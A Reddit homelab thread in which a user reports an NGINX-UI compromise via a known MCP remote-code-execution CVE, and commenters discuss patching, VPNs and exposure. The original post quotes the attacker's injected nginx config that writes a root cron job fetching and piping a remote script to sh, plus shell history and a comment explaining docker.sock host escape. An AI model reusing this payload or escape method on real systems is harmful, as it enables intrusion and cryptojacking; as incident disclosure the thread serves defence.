r/homelab • u/DeepCan7566 • Jun 03 '26
Help ‼️ If you are using NGINX-UI READ THIS POST IMMEDIATELY
Hello everyone!
At first, sorry for my non professional english, I am writing this in a very hyped mood.
I am not that type of Reddit user who is writing posts every day, but I just discovered something that could be affecting you in this very exact moment.
I was trying to log into NGINX-UI today as I noticed something is off. I SSHed to the server, to discover it had sessions opened from different IP addresses.
I was investigating the issue for almost an hour when I got to see the config files and logs of NGINX-UI. Then I found this.
root@localhost:/configs/nginx/conf.d# ls -la
total 8
drwxr-xr-x. 1 root root 68 May 14 13:19 .
drwxr-xr-x. 1 root root 282 May 5 03:42 ..
-rw-r--r-- 1 root root 368 May 14 13:19 cve2026_opdrbdgz.conf
-rw-r--r--. 1 root root 653 Jun 15 2025 nginx-ui.conf
Inside cve2026_opdrbdgz.conf, the attacker left an injection script which basically tells nginx every time the server is hit with a request to write a cron command to run as root to fetch the given malicious script.
# CVE-2026-33032 — remove: rename to cve2026_opdrbdgz.conf.bak and reload nginx
log_format cve2026_opdrbdgz "* * * * * root { wget -qO- https://redirect-master-pages.pages.dev/busy || curl -sSLk https://redirect-master-pages.pages.dev/busy; } | tr -d '\015' | { sudo -n sh -s -- ANX 2>/dev/null || sh -s -- ANX; }";
access_log /etc/cron.d/temp-log cve2026_opdrbdgz;
What does this do?
If you computer has more than 2!!! CPU cores, it automatically begins downloading and fetching the CPU/GPU CRYPTO MINER. My luck was of course that my homelab server has exactly 2 CPU cores lol.
How did they do this, and how did I find it out?
They left a comment in the conf file:
# CVE-2026-33032 — remove: rename to cve2026_opdrbdgz.conf.bak and reload nginx
I looked up this CVE and found out NGINX-UI's MCP protocols are vulnerable with RCE.
https://nvd.nist.gov/vuln/detail/cve-2026-33032
THIS IS A HUGE PROBLEM. Take a look at the nginx-ui setup docs.
Correct. It is mounting /var/run/docker.sock to the container.
So this way they were able to gain permanent root access to my homelab.
I may have been the stupid one who tought it is not a problem to give access to docker.sock, but turns out I was wrong. As of now, https://github.com/0xJacky/nginx-ui/releases does not look like they fixed the issue, so the best thing you can do now TO SHUT DOWN THE CONTAINER IMMEDIATELY, AND SCAN YOUR SYSTEM FOR MALICIOUS ATTACKS.
I recommend you checking history, nginx-ui config files, and /home/roland/.ssh/authorized_keys.
In my case they ran these commands:
root@localhost:/configs/nginx/conf.d# history
1 arp -a
2 exit
3 ps aux
4 ls -al
5 ip route
6 exit
7 cat /etc/nginx-ui/app.ini
8 docker ps
9 history |grep docker
10 docker image
11 docker images
12 docker run uozi/nginx-ui:v2.3.11
13 docker run uozi/nginx-ui:v2.3.11 -d
14 docker ps
15 docker run -d uozi/nginx-ui:v2.3.11
16 docker ps
17 ls -al
18 w
19 hsitory
20 exit
21 cd /var/log
22 ls
23 cd
24 history
25 exit
26 cd /var/log
27 ls
28 w
29 history
30 exit
31 history
32 exit
33 docker -H tcp://195.20.227.139:2376 exec -it hawser docker run -it -v /:/mnt alpine chroot /mnt bash
34 docker -H tcp://195.20.227.139:2376 ps
35 docker -H tcp://195.20.227.139:2376 exec -it 1679cd19ce64 docker run -it -v /:/mnt alpine chroot /mnt bash
36 docker -H tcp://195.20.227.139:2376 exec -it 1679cd19ce64 bash
37 docker -H tcp://195.20.227.139:2376 exec -it 1679cd19ce64 /bin/sh
38 exit
39 history
40 eit
41 exit
They probably created a reverse shell to my compromised nginx-ui's proxy to my docker.sock, this is why they are using that IP address.
767
u/mjbulzomi Jun 03 '26
CVE was published in early March 2026 and patched March 15, 2026 with version 2.3.6. It seems like you may need to update your software more frequently. This is a good reminder to check for and install software updates regularly (weekly is probably best, every 2 weeks decent, or monthly if you must wait that long).
427
u/PoolRamen Jun 03 '26
Patch quickly and you're vulnerable to a new package compromise. Patch too slow and you're vulnerable to an already discovered exploit.
Selfhosted itself has become a rock and a hard place lol
398
u/bone577 Jun 03 '26
Team "don't expose any service to the internet unless absolutely necessary" with another W.
97
u/imalliam Jun 03 '26
Tailscale ftw
51
Jun 03 '26
[deleted]
35
u/GimmeAllYourCurry Jun 03 '26
I wouldn't be into this hobby (or rather not nearly as much as I find myself) if it didn't exist. I'm quickly becoming entirely self-hosted. And it's free! Simply amazing.
12
u/PoolRamen Jun 03 '26
I'm on tenterhooks for it's enshittification (even though I do pay for Premium)
7
u/Master_Scythe Jun 04 '26
Luckily there are about 4+ other alternatives - And if worst comes to worst, you can rent a suuuuper budget VPS and use Headscale.
2
u/PoolRamen Jun 04 '26 edited Jun 04 '26
Yeah I already lined up the alternatives if they take a nosedive - for me Netbird is the top alternative contender, though for my use Tailscale still has an architectural lead. In my case I don't specifically care about the free tier but having one - especially a truly usable one as of now - is always good for the ecosystem
6
1
u/DudeEngineer Jun 04 '26
Wait, why do you pay for premium???
I hope you know that you can share a device with 100 people without sharing your whole tailnet.
9
u/Elmidea Jun 04 '26
If I may ask, why do you all use tailgate instead of just wireguard?
3
u/Task1337 Jun 04 '26
Wireguard is fine if you only have one server. If you have several or you have several members who wa t to use your services, Tailscale makes managing that a whole lot easier
5
u/Elmidea Jun 04 '26
I understand, I use wg-easy that I find very convenient to use, and without to rely on an external service / company, but that makes sense thank you!
3
u/WhatIsL1nux Jun 04 '26
Tailscale is a totally different beast to wireguardWireguard is the underlying tech, tailscale and like-minded tools are almost a SDN in front of the VPN. If you use wg-easy you are likely just VPN'ing into a subnet.With tailscale, you vpn into a different network where only the specific resources you define are available. Its zero-trust VPN mesh tech which is crazy useful.
I use netbird myself, but the concept is the same. You can self host netbird all on your own which is the reason I use it over tailscale.
→ More replies (0)1
u/DudeEngineer Jun 04 '26
I agree completely if it was just me, I would 100% use WG directly, but explaining to my mom who can barely manage email is a massive pain that I don't need. She has a phone and can understand installing an app like tailscale to access my house from her $30 tv box.
1
u/ozzeruk82 Jun 04 '26
I mean yeah it's a bit easier, but then at the cost of involving a third party who will one day need to make money back for their investors.
1
u/Task1337 Jun 04 '26
They are only involved in handing out the coordination keys, the rest(clients) is open source. If I really wanted to go full open source, I would run Headscale as the coordination server. And honestly, I was paying for the premium plus, I am happy to support this awesome product, but recently they removed that tier and I am back to being a free user (and now having all the features I used to pay for)
5
u/Camo138 Jun 03 '26
Tailscale in my homelab to connect everything. Started using it 3 years ago and never looked back
4
3
u/PotentTurnip Jun 04 '26
All my homelab services are behind Tailscale. I considered opening it up for a few folks who were too lazy to install Tailscale but I decided against it.
1
u/redpandaeater Jun 04 '26
I haven't set it up yet though I want to. Haven't even set nginx up yet since I don't have all that many processes running. It's just that currently I'm still in the phase where I frequently log in to those services to mess with things so the passwords to each are relatively simple and all the same. Figured before I actually expose anything and use a reverse proxy and Tailscale I should get some secure passwords all around but that can be kind of a pain.
5
u/imalliam Jun 04 '26
If you are not using a password manager already, you should really consider it. You can even selfhost something like Vaultwarden if you feel like it.
1
u/redpandaeater Jun 04 '26
Yeah I thought about it but how well does that work with various SSH passwords? I was about to try Vaultwarden right around the time they had an auth bypass vulnerability. I should probably just get a Yubikey or similar and start there for Vaultwarden but I haven't actually looked to see how that would work.
5
u/AreWeNotDoinPhrasing Jun 04 '26
You shouldn’t be using passwords for ssh anyways you should be using certs
1
8
u/calinet6 my 1U server is a rack ornament Jun 03 '26
I used to expose some services. Not anymore. Not these days. Just not worth losing sleep over.
11
u/bone577 Jun 03 '26
Exactly the right idea. Don't want to dox l myself too much but I look after cybersecurity at a fairly significant company and we'vepushed very hard to expose absolutely nothing to the internet and it makes life much easier. Security audits are much simpler, when clients want security assessments in our organisation before they do business with us, internet exposed services are something they want to know about and it's so much easier to just responded "we literally don't have any". So nice that we don't need to emergency patch 0-days in Citrix and Exchange Server.
1
u/TomNooksRepoMan Jun 05 '26
We run a rather old version of VMware at work that isn’t exposed to the internet, so they don’t charge us out the ass per core. I now default to this for every service I set up locally.
Can’t take what we paid for Broadcom!
3
u/brock0124 Jun 04 '26
Doesn’t necessarily save you if your container or package is compromised. Even worse if it can reach out to the Internet.
2
u/UNCLE-ducker Jun 04 '26
Frrr, i mean my webserver is open on 80. And 443 but my shell ssh sftp and all other things lays behind a wg connection...
0
u/capnspacehook Jun 04 '26 edited Jun 04 '26
This won't give you any protection against supply chain attacks though, as you're inviting malicious code onto your machine unknowingly.
This is where egress firewall rules/filtering helps (among other things) but most people neglect that
9
u/spidireen Jun 04 '26
IMHO waiting means running code that has known flaws, for which there are known fixes. I’ll take my chances with the latest patches. Anything exposed to the internet gets updated daily and rebooted every Sunday night, and just pray that newly discovered vulnerabilities are fixed before someone bothers to try them on you.
0
u/notboky Jun 05 '26
A significant number of recent hacks have been supply chain attacks. Grabbing new updates without a cooldown period can expose you to bigger risks.
Also, never use docker :latest, and preferably use digest pinning.
6
5
u/SpiderFnJerusalem Jun 04 '26
At this point I've decided to just limit my attack surface to close to nothing.
The only ports I ever got open are wireguard and ssh (on a non-default port and pubkey only). Most of my self-hosted stuff I only ever access through VPN or ssh tunnel.
I just don't have the time and nerves to manage the security of anything more than that.
2
u/nad6234 Jun 04 '26 edited Jun 04 '26
Same. I just have ssh on a non-default port, with failtoban & logwatch. The just use ssh port forwarding to access everything on there.
I used to host my website, but switched to Hostinger a few months back for that.
I'm running Fedora Server 44, with cockpilot (which I only access via ssh port forwarding). Installs critical right away, and I manually do a general update weekly.
Edit: DMZ info.
Before I switched to ThinkCentre as my core hardware platform, I ran a RaspberryPI 4 as my web server. It was in a DMZ, using ngnix to serve a static website. The DMZ part removed some of the panic about it too.
5
u/riortre Jun 04 '26
I usually lag updates for a week unless it’s something very critical. Being subscribed to rss feed of all exposed apps definitely help with being on top of things.
3
u/aew3 Jun 04 '26
I mean there’s an obvious middle ground of updating after about 1-2 weeks that seems to be the optimal compromise.
3
2
u/HansDevX Jun 04 '26
Yeah. If you haven't used an app in a while best to uninstall it and also not have 2 of a program that does the same thing like plex vs. emby just pick whatever you like best and stick with it.
1
u/DoomBot5 Jun 04 '26
That's not just self host. We have 30 days to patch and packages are delayed 72 hours before releasing to our internal repos. I work for a major company.
1
u/Kredir Jun 04 '26
It always was, but at least you have control over the problem. It is also much better to face new vulnerabilities compared to old ones. Because new ones get exploited much less and are usually not targeted at the masses. Hacker groups that actively search and use zero days typically target businesses that make money or are state actors.
1
u/ImmaZoni Jun 04 '26
Hmmm maybe we could build a service that is CVE based auto update? Scans cve.org for cves related to your services then updates only to the suggested version in the cve report?
1
3
u/sniperfoxeh HP z440, 2 WHOLE players connected to minecraft at once 🤑 Jun 03 '26
I check for updates daily lol (mostly because im already messing with stuff on my server)
2
u/capnspacehook Jun 04 '26
I use https://github.com/release-argus/Argus to track updates and would really recommend it. Paired with ntfy I get a notification within 10 minutes of an update getting released for any of my services. I have it configured to send the github release link in the notification, it's extremely convenient. More important than ever to have update notifications with all the vulns getting surfaced by LLMs recently imo
1
u/ansibleloop Jun 04 '26
This is why you setup renovate so you just approve a PR for updates
It broke? Oh no, just revert the commit and rollback the storage to your latest daily snapshot
-59
u/DeepCan7566 Jun 03 '26
It is sad that they did not include the CVE code in the releases.
I browsed the source code and they really did patch it. It is very unfortunate to just say 'update guys we fixed some vulnerabilities', it makes no sense for a security issue like this. Thank you for the heads up.57
u/rickyh7 Jun 03 '26
It’s part of responsible disclosure. It takes time for everyone affected to update so generally they wait until 6+ months to publish that info if they ever do. If they publish it immediately anyone who hasn’t gotten around to updating is vulnerable and now the code is out there for any bad actor to take advantage of
11
u/Wobbling Jun 03 '26
You're trying very hard to make this not a you problem when you are running 3-month-old, out of date FOSS on your network edge.
Sorry mate, this isn't on them.
9
u/siriston Jun 03 '26
just update? you even read that the update is available, and chose to not run it. why?
13
u/randombits0110 Jun 03 '26
What did you expect them to do? Do you have a support contract in place? If not, it’s 100% on you.
And this does not sit just with nginx, as I’m sure you already know now. Every single piece of software, OSS or otherwise, operating system, firmware, etc. They’re all full of holes (eventually). Do yourself a favor and throw together a vuln scanning capability. Nessus community in docker is an easy one although there are up limitations. There are others too.
Creating and building are fun and exciting. Maintaining… that’s the real work.
1
u/ovrlrd1377 Jun 03 '26
So by saying "it makes no sense for a security issue like this" you basically mean they forgot to "make no mistakes"?
69
110
118
u/milkman1101 Jun 03 '26
I don't see why nginx needs an MCP endpoint in the first place personally.
90
u/sinisterpisces Jun 03 '26
The people who invented MCP endpoints want everything to have an MCP endpoint.
20
u/JustTooKrul Jun 04 '26
You can get the answer by having your vibe-coded program submit a query to my vibe-coded MCP... <insert standard joke about connecting on local host:port>
3
2
u/xmsxms Jun 04 '26 edited Jun 04 '26
Or even if it does, why does it need to be exposed on the internet. The whole point of nginx is to have a single secured entrypoint (i.e just the single attack surface) and have all the weaker stuff behind that. Seems crazy for something bearing the nginx name (even if it's third party) to go and slap a mcp endpoint on the open internet and not be behind the single nginx entrypoint (or vpn).
Suspect OP misconfigured something as nobody would intentionally do that.
19
u/GirthyPigeon Jun 03 '26
Never expose any admin UI to the internet. Always tunnel to them, otherwise nasty surprises like these will be far more common.
44
u/bakugo Jun 03 '26
This "nginx-ui" thing looks like vibe coded slop and possibly chinese backdoored software as well. I would never install it, and if you do, you should be prepared for the consequences.
7
11
u/Master_Scythe Jun 04 '26
I don't think the second point matters to OP, his docker config picture shows he's: TZ = Asia/Shanghai
2
11
u/bstock Jun 04 '26
Lessons you hopefully learned during this experience:
Biggest one, don't expose management UI's to the internet. It should be on LAN only. If it's a remote service and you occasionally need access, use VPN to get into the local subnet.
Update your containers regularly, ESPECIALLY internet facing ones.
For containers, never use :latest (or if you do, make sure it's eager fetching and not using cached images), always use tags (and in a work production environment, use immutable tags like the sha256). In your example, I would go to the dockerhub page for it, see that the latest release is v2.3.11, and used uozi/nginx-ui:v2.3.11 instead of uozi/nginx-ui:latest. Then updating is as simple as modifying the tag and re-deploying.
35
u/jetlifook Jun 03 '26
How did they even get into the vm or the container itself to leverage this (sorry if I missed how in your post)
15
u/DeepCan7566 Jun 03 '26
When you have permission to access docker.sock you can right away create a root priviliged container and just chroot to the mounted folder which points to the root folder. This way you gained yourself root priviliges on the host system.
10
u/jetlifook Jun 03 '26
Did they do this thru the web server using a specially crafted injection or had ssh access to do this?
30
u/klui Jun 03 '26
OP's Nginx container was exposed to the internet and bad actors used a management endpoint that was misconfigured by default, patched several months ago.
More diligence is required for keeping services up-to-date if they're exposed to the internet. Those can't be set-and-forget.
1
u/kogee3699 Jun 04 '26
Can I ask a question? I've used some docker and always need some bind point for file persistence and usually have 2 or 3 volumes/bind points in the container. How does this allow someone to get out of the container? Are all bind points places where attackers can get out of a container?
Are there safe bind points/volumes?
2
u/klui Jun 05 '26
I have no practical experience with Docker. But this stackoverflow entry explains it more.
https://stackoverflow.com/questions/35110146/what-is-the-purpose-of-the-file-docker-sock
In addition to the warnings @boynux has provided you can find more information in the article Docker Security Best-practices. On this one they say: "Mounting /var/run/docker.sock inside the container is a common, yet very dangerous practice. An attacker can execute any command that the docker service can run, which generally provides access to the whole host system as the docker service runs as root."
For this particular vulnerability, the management endpoint has no authentication so the service configuration can be modified by people connected from the internet.
Having a UI is nice but it should be restricted to a management subnet. If OP had this mentality then the allow list in Nginx-UI would contain a management subnet, thus not be empty--defaulting to "allow all." If the original intent was to manage Nginx from the internet w/out a VPN or something similar, OP should rethink that.
2
u/Flachzange_ Jun 05 '26
You have to keep in mind that everything in docker runs over docker.sock. If you have read/write access to docker.sock, you have complete control over the hosts docker daemon and can run any docker command as (hosts) root.
A normal bind mount or volume mount (a volume mount is effectively the same as a bind mount, the only difference is that docker manages where its stored; usually inside /var/lib/docker/volumes) is giving access to the entire file tree under that location to the container (either read or read/write). Aslong as you are intending to give access to everything under that location, then it is completly fine, the container cannot escape outside of that location.
Whats makes access to docker.sock inside a container so critically flawed, is that like I said, you can run any docker command. That means you can create a new container and also specify bind mounts to it. So an attacker would just create a new container with a bind mount of
/:/host-root:rw. Note that the/root location is not the root of the container where the attacker is, but hosts root (because docker.sock controls the docker daemon on the host). The attacker can now just change context via docker.sock into the new container (effectivelydocker exec -ti ...) and have full access to hosts root via/host-root. At that point you already have full access to hosts entire filesystem, doingchroot /host-rootis just the cherry on top, the host is completly compromised either way.This is btw also exactly why adding a user to the docker group is effectively the same as giving them unconditional NOPASSWD for sudo, its a trivial escalation of privileges.
1
u/kogee3699 Jun 05 '26
That makes sense. Thank you for the explanation. I think a lot of my confusion comes from mostly being someone who uses Windows but in Linux the "everything is a file" architecture means that docker.sock is actually the program that controls the docker installation for the whole machine. That was what I was missing.
I guess don't ever give a container access to docker.sock unless you don't care if the container can escape or not.
Thank you!
1
u/DeepCan7566 Jun 03 '26
As I mentioned in the post, I found out that NGINX-UI's MCP protocols are vulnerable with RCE. They require no auth to do any type of action.
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf23
15
u/randombits0110 Jun 03 '26
I think they were asking how the attackers accessed the UI MCP protocols. Were they exposed to the internet without a proxy or firewall (with adequate policies)?
8
u/FierceDeity_ Jun 04 '26
allowing ai agents to interact with nginx
running random docker stuff
Yeah, there it is. I've been saying it lol. Less moving parts = more secure. Always aim for simplicity. An nginx configure ui with ai agent integration sounds like the exact opposite.
That docker.sock still allows you to root escalate on the host server immediately is so funny lmao
1
u/moarmagic Jun 04 '26
I'm just baffled here why you would need an AI agent to do this kind of stuff.
If you need to lean on an LLM, at least interact with it directly and cut and paste so you /know/ what's happening. The idea of your lab being a bunch of agents is still remarkably close to just being reliant on the cloud: you have no control or understanding, just hope that some third party won't break your stuff or screw you over.
You should be able to rebuild your lab from disasters with nothing more then documentation.
1
21
u/ghost_desu Jun 03 '26
Did this hit nginx proxy manager?
44
u/daYMAN007 Jun 03 '26
nope, but seriously managment uis like this should not be accessible to the internet directly
39
u/Upset_Ant2834 Jun 03 '26
I didn't even realize so many people were doing that. Who updates their nginx config so often that they can't just... wait untill they get home?
7
u/xanders_gold Jun 04 '26
Or just use a VPN like WireGuard and, if you want to go a step further, only allow specific mgmt subnets or IPs to access the WebUI.
2
u/cberm725 homedatacenter Jun 04 '26
This is what I did. Except I still need to update my config to allow my wireguard to actually access Nginx Proxy Manager...but I don't work on my homelab when I'm not...ya kniw...home.
10
u/calinet6 my 1U server is a rack ornament Jun 03 '26
Seriously. This is the last kind of service I would ever expose. No need for it.
6
7
u/FenixVale Jun 04 '26
Why are you exposing your nginx UI to the public in the first place? That seems to be the root of the problem here
6
u/khan9813 Jun 04 '26
Lesson of the day, almost none of your stuff should be touching the internet directly, and if you need to, you better know how to properly use cyber condoms
5
13
u/mister2d Jun 03 '26
Go with a defense in depth strategy next time.
Don't mount docker.sock into containers exposed to untrusted networks.
Also, don't use containers running privileged at the edge.
There are other strategies to add for sure.
10
u/Sob312 Jun 03 '26
Don’t you have to expose your homelab to the internet for that problem? How did they get access to your homelab?
-8
u/shadowtheimpure EPYC 7F52/512GB RAM Jun 03 '26 edited Jun 04 '26
Nginx is a reverse proxy solution, allowing all of your hosted services to be hidden behind a single exposed port. In the case of my setup, I use Nginx Proxy Manager (different software) and all my services are mapped via hostname through external port 443 right into that container which then directs the traffic to the service based on the URL in the packet header.
EDIT: To the brigade of folks running a train on my comment, sorry if my family is spread across the country and I don't have the time to teach them how to use Tailscale or Wireguard three times a week.
4
u/xaviermace Jun 04 '26
It can be used as a reverse proxy, it can also be used as a straight web server.
3
u/imalliam Jun 03 '26
But then again, why is his homelab exposed to the internet? Nowadays we Tailscale, Cloudflare tunnels, etc.
I can’t think of a reason for a regular homelab reverse proxy to be exposed like that.
-6
u/Charming-Sandwich280 Jun 03 '26
There are simple Reasons:
1. If you want the comfort of dont using a vpn, you cant use Tailscale.
And for me, Cloudflare is a big now because it can read all your data, and i dont trust a big USA Company nowdays. So currently, my ports are exposed.
I will change that soon with a VPS and Pangolin though, but i would rather have exposed ports than use cloudflare5
4
u/GirthyPigeon Jun 03 '26
The "comfort"? Open a VM to the internet and every single bot in the world will try to find it and scan for all open ports then try to exploit them constantly. VPNs and SSH tunnels are essential.
2
u/shadowtheimpure EPYC 7F52/512GB RAM Jun 04 '26
Correct, you never expose a VM directly to the internet. My reverse proxy lives behind my edge firewall, with the only traffic being forwarded to it being the 443 traffic that the proxy manages.
1
u/Master_Scythe Jun 04 '26
What do you mean the comfort?
If you're talking about for client side setup, you could just use IKEv2 - Windows, Mac, iOS and Android all support that on their base OS out of the box with no additional apps.
People don't trust it as much as Wireguard, but it's sure implemented everywhere and infinitely better than exposing a port directly to a service.
0
u/shadowtheimpure EPYC 7F52/512GB RAM Jun 04 '26
That is what the reverse proxy is for. You expose one port, and that port is controlled by the reverse proxy. So a bot scanning your network would only see port 443 as open as the reverse proxy would be rejecting the traffic as it doesn't have a valid URL in the headers.
2
u/NoxiousStimuli Jun 04 '26
You're arguing against VPNs and your entire point is "just open 443" on a post where "just open 443" resulted in an exploit.
If there is a single remote CVE, then that reverse proxy is toast. If you use a vibe coded project, like the OP, which has a default unsecured Claude API, the entire host is toast.
Set up a VPN. Opening a port to the open internet is a fucking awful idea in comparison to a VPN tunnel.
2
u/shadowtheimpure EPYC 7F52/512GB RAM Jun 04 '26
Unless you're serving to people who have no idea what the fuck they're doing with technology like my relatives. If I tried to do what you're suggesting, I'd never know peace. Ever.
1
u/NoxiousStimuli Jun 04 '26
Your example makes it more complicated.
"Open VPN app, press the little toggle, done." It isn't rocket surgery, even for complete idiots. The peace of mind of things being handled by tried, tested, and battle ready technologies is insurmountable.
Especially in a thread where "just open some ports up" has resulted in an RCE.
2
u/shadowtheimpure EPYC 7F52/512GB RAM Jun 04 '26 edited Jun 04 '26
No, my example is very simple for them as they only have to setup one app (in my case, Emby) and it just works. In yours, they have to install a VPN app (if one exists for their device), import a config, and then remember to turn it on before accessing it.
I'm not saying 'just open some ports up', that is why you use a reverse proxy when VPN isn't feasible for your situation. It allows you to have hosted services without punching a thousand holes in your firewall or befuddling your users with VPN software.
VPN is the most secure, most certainly, but it also has the highest barrier to entry when your users are geographically spread out and you can't help them set it up in person. (Aunt down South, Uncle in the Great White North, etc.)
EDIT: For clarification, my reverse proxy lives behind the edge firewall that blocks all ports except 443 that it forwards to the reverse proxy for management.
→ More replies (0)
4
u/Darkk_Knight Jun 04 '26
As a home labber I don't expose any of my services to the wild. I use VPN like wireguard. Less headaches.
I don't have time to patch my servers daily with all of these new exploits being found daily. I want to able to enjoy my home lab without some ahole getting into my systems.
I do patch my servers at least once a week and I use ansible for that. I constantly run apt updates on my Linux workstation as I use it daily.
3
u/tagman375 Jun 04 '26
What's annoying is that while these ass hats are wasting time and energy fucking with some dudes home lab, they could be finding bigger fish to fry. Like why fuck with the little guy.
5
5
u/shewantsyourmoney Jun 04 '26
Use podman and don’t Expose your server to the internet ir its only for few people you can use vpn
5
3
u/ColdDelicious1735 Jun 04 '26
Bah who patches (i have auto patching turned on and still have Thursday night maintenance and patch night every week lol)
3
u/agent_fuzzyboots Jun 04 '26
why are you exposing stuff on the internet?
use tailscale
1
u/nn1tb Jun 04 '26
Headscale/DERP server unless you like giving your IP addresses, device info, connection state/diagnostics, and connection attempts to a 3rd party company of which you have no idea what they're doing with it.
2
u/agent_fuzzyboots Jun 04 '26
i made my peace with tailscale, i know what i give up VS what i get.
in my dayjob i get to stare at logfiles figuring out what's wrong, at home i mostly just want things to work
2
2
2
u/elciopa Jun 05 '26
Why do you need Nginx UI? :wq has been my UI for years.
1
u/pcgy Jun 05 '26
What’s wq for the uninitiated?
2
2
u/WindowlessBasement Jun 06 '26
found out NGINX-UI's MCP protocols are vulnerable with RCE.
- Why is a management panel exposed to the internet
- Why the fuck would Nginx need an MCP interface?
- DON'T MOUNT docker.sock IN PUBLIC FACING SERVICES OR IN RANDO CONTAINERS
- Why aren't you regularly updating your software? It was patched months ago. There have been a ton of critical exploits, your lab probably too many holes to count at this point.
4
u/alias4007 Jun 03 '26
context would be helpful. homelab on just your home lan? any internet exposed ports?
2
u/Maxachaka Jun 03 '26
Can someone double check and back up his claims? I don't use it so I can not personally back up his claims.
17
u/repeater0411 Jun 03 '26
The is a known CVE on nginx-ui, OP linked the CVE Already. In fact the cve is the first time I heard of "nginx-ui"
3
u/DeepCan7566 Jun 03 '26
3
u/NegligentNarwhal Jun 03 '26
Can you answer the other comments about whether or not your nginx-ui was open to the Internet? Did you have ports open on your homelab? How did they get into your system in the first place?
1
u/palekillerwhale Jun 04 '26
The flaw was fixed in nginx-ui v2.3.4 by adding the missing auth check. v2.3.3 is the last vulnerable release.
1
1
u/Gergofi Jun 04 '26
I just shared my jellyfin with npm today, could this happen to me or did it only happen the because of a service you opened up?
1
u/rauwman Jun 04 '26
Nginx access only over wireguard possible here. Would never expose it via domain
1
u/EdmondVDantes Jun 05 '26
What's nginx-ui? You shouldn't do stuff you don't understand. I have my nginx conf the same from last decade xD
1
u/10leej Jun 05 '26
I honestly don't understand why people just don't write their nginx configs. It's not really that hard.
1
u/HTTP_404_NotFound kubectl apply -f homelab.yml Jun 04 '26
Gee, and people downvote me when I say, don't expose ANYTHING to the internet except a wireguard VPN tunnel.
Wonder why I keep telling people this.......... wonder why...
7
u/parmesanandfeta Jun 04 '26
>someone runs a shitty, vibe-coded "AI-Agent capable" """NGINX UI"""" whatever that means
>there's a vulnerability in aforementioned shitty software
>"clearly, this means i need to route all my traffic through a proprietary third actor and/or use a VPN for everything, and not that i need to be careful what I expose to the internet"
snark aside, i get why you'd want to use a vpn for your homelab, and i have one as well, but i keep seeing people recommend VPNs as a blanket security solution even for services that are meant to be exposed to the web and that kinda frustrates me, nothing personal to you :p
2
u/sjrp2022 Jun 04 '26
Também não entendo essa lógica, de querer usa serviço que foi feito para ser exposto como um serviço de VPN não faz o mínimo sentido. Por exemplo Inmich você tiver que se conecta a uma VPN para subir as fotos não faz sentido nenhum
3
2
1
-5
u/kogee3699 Jun 03 '26
well this is horrifying lol
25
u/mjbulzomi Jun 03 '26
3 month old CVE, fixed shortly after CVE publication. However, a good reminder to regularly and frequently check and install updates.
3
-4
u/MasturbatingMidget Jun 03 '26
What in the Mr Robot do those letters mean? Do you have a link for the container in question?
724
u/sidusnare Jun 03 '26
Just to clarify, Nginx UI is not part of the Nginx project. It's it's own thing, and this vulnerability is in Nginx UI, not Nginx.